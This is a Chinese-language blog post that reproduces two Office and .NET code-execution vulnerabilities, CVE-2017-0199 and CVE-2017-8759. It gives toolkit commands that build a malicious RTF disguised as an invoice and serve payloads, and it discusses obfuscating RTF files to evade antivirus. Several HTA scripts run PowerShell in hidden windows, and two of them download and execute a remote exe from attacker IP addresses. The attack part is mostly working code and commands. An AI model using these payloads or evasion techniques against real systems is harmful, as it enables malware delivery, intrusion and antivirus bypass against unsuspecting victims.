对cve-2017-0199与cve-2017-8759的浅析

前言

首先说一下为什么偏偏选了这两个cve来复现+分析,其实是因为这两个cve复现比较容易,而且是目前apt团体主要用于apt打击的工具,而且于我个人而言,也是第一次分析word漏洞(当然这两个只是word的逻辑漏洞,并不是溢出漏洞,相对来说比较容易分析)。

没想到的是分析这两个漏洞的过程并不是一帆风顺,甚至可以说是坑坑洼洼了ORZ。也为了后人的学习以及自己将来的学习,故写下这篇文章。

环境

victimer

1
2
3
os:10.0.14393 default Build 14393
office:ver2010(14.0.4760.1000)
.net:v4.0.30319

ps:查看.net版本(资源管理器打开%systemroot%\Microsoft.NET\Framework,最高版本即是)

attacker

1
python:2.7.14

cve-2017-0199

该漏洞影响版本如下

1
2
3
4
Microsoft Office 2016
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007

这个漏洞出在word对已经插入的远程对象访问的时候,如果访问的时候http相应头重含有Content-Type: application/hta那么将会对该对象以脚本的方式解析执行。具体的过程如图所示
1.png

脚本:https://github.com/bhdresh/CVE-2017-0199

在实验过程中,发现该脚本有几处坑,一个是server_thread函数写了两遍,还有一个是open函数缺少了一个参数,故而本人修改了这两处问题,修改后的代码放于github上。

使用方式和原来的脚本没有大的区别 https://github.com/Winter3un/cve_2017_0199

1
2
3
4
5
method 1 分发exe可执行文件并执行:
1) Generate malicious RTF file
python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.1.125/demo.rtf
2) Start toolkit in exploit mode to deliver local payload
python cve-2017-0199_toolkit.py -M exp -t RTF -e http://192.168.1.125/shell.exe -l shell.exe
1
2
3
4
5
method 2 分发hta脚本并执行:
1) Generate malicious RTF file
python cve-2017-0199_toolkit.py -M gen -t RTF -w Invoice.rtf -u http://192.168.1.125/demo.rtf
2) Start toolkit in exploit mode to deliver custom HTA file
python cve-2017-0199_toolkit.py -M exp -t RTF -H custom.hta

ps:虚拟机win7+office2010 未成功,不知道为啥。。

cve-2017-8759

这个漏洞其实是出在.net模块,但是是通过word或者写字板作为媒介引发的。漏洞原因是开发者没有考虑到输入点会存在换行符,导致了单行注释绕过。我们可以将存在换行符的.net代码发送过去绕过单行注释,进行.net代码执行。这个漏洞危害还是挺大的,与office无关,几乎影响所有版本的.net框架

1
2
3
4
5
6
7
8
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2

脚本来自: https://github.com/Winter3un/cve_2017_8759 生成exp

1
python3 CreateRTF.py -f 1.rtf -u http://127.0.0.1:8080/exp.txt

开启服务

1
python -m SimpleHTTPServer 8080

免杀

免杀主要参考了剖析RTF文件中的Anti-Analysis技术这篇文章

1) 不完整的RTF头部

2)奇怪的16进制数

3)在16进制数中插入额外的空格

4)16进制编码数据中的虚假RTF控制字

5)在16进制数据中包含二进制数据

但是目前来说,这五种方式做的免杀都会被主流杀软干掉,样本hash:b7f67029abc6e44e860fb13313a2b8024c59f200d3680c5dfd2886c9f3bcfc54

virustotal检出率21/59,目前没有啥好的办法可以绕过杀软。

hta脚本相关

最简

1
2
3
4
<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close();
</script>

powershell代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script language="VBScript">
Sub window_onload
const impersonation = 3
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("WbemScripting.SWbemLocator")
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup = Service.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set Process = Service.Get("Win32_Process")
Error = Process.Create("powershell.exe -nop -w hidden calc.exe", null, objConfig, intProcessID)
window.close()
end sub
</script>

powershell下载远程exe并执行

1
2
3
4
<script>
a=new ActiveXObject("WScript.Shell");
a.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://192.168.1.125/shell.exe\', \'c:/windows/temp/shell.exe\'); c:/windows/temp/shell.exe', 0);window.close();
</script>
1
2
3
4
5
6
7
8
9
10
11
<script language="VBScript">
Sub window_onload
window.resizeTo 0,0
window.MoveTo -100,-100
const impersonation = 3
Const HIDDEN_WINDOW = 12
Set Locator = CreateObject("WScript.Shell")
Locator.Run"powershell.exe -nop -w hidden -c ""IEX (new-object net.webclient).downloadstring('http://192.168.211.149:80/artifact.exe')""",0,FALSE
window.close()
end sub
</script>

以上脚本都能在我的github上找到

参考文档:

对CVE-2017-0199的一次复现过程与内网穿透的利用:https://zhuanlan.zhihu.com/p/26522540?utm_medium=social&utm_source=weibo
OFFICE OLE2LINK(CVE-2017-0199)漏洞利用详解:http://www.freebuf.com/articles/system/131969.html
CVE-2017-0199漏洞复现:http://www.hackersb.cn/hacker/228.html
一个换行符引发的奥斯卡0day漏洞(CVE-2017-8759)重现:最新的Office高级威胁攻击预警:http://www.freebuf.com/articles/system/147602.html
CVE-2017-8759 微软word漏洞复现以及利用:http://www.cnblogs.com/deen-/p/7532078.html
CVE-2017-8759完美复现.并且解决HTA,POWERSHELL弹框闪烁:http://www.lz1y.cn/?p=799
最新CVE-2017-8759漏洞复现的两种姿势:https://bbs.77169.com/forum.php?mod=viewthread&tid=364738
剖析RTF文件中的Anti-Analysis技术:http://www.freebuf.com/articles/terminal/102018.html

×

你要赏我吃糖果吗?

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 前言
  2. 2. 环境
    1. 2.1. victimer
    2. 2.2. attacker
  3. 3. cve-2017-0199
  4. 4. cve-2017-8759
  5. 5. 免杀
  6. 6. hta脚本相关
  7. 7. 参考文档:
,
隐藏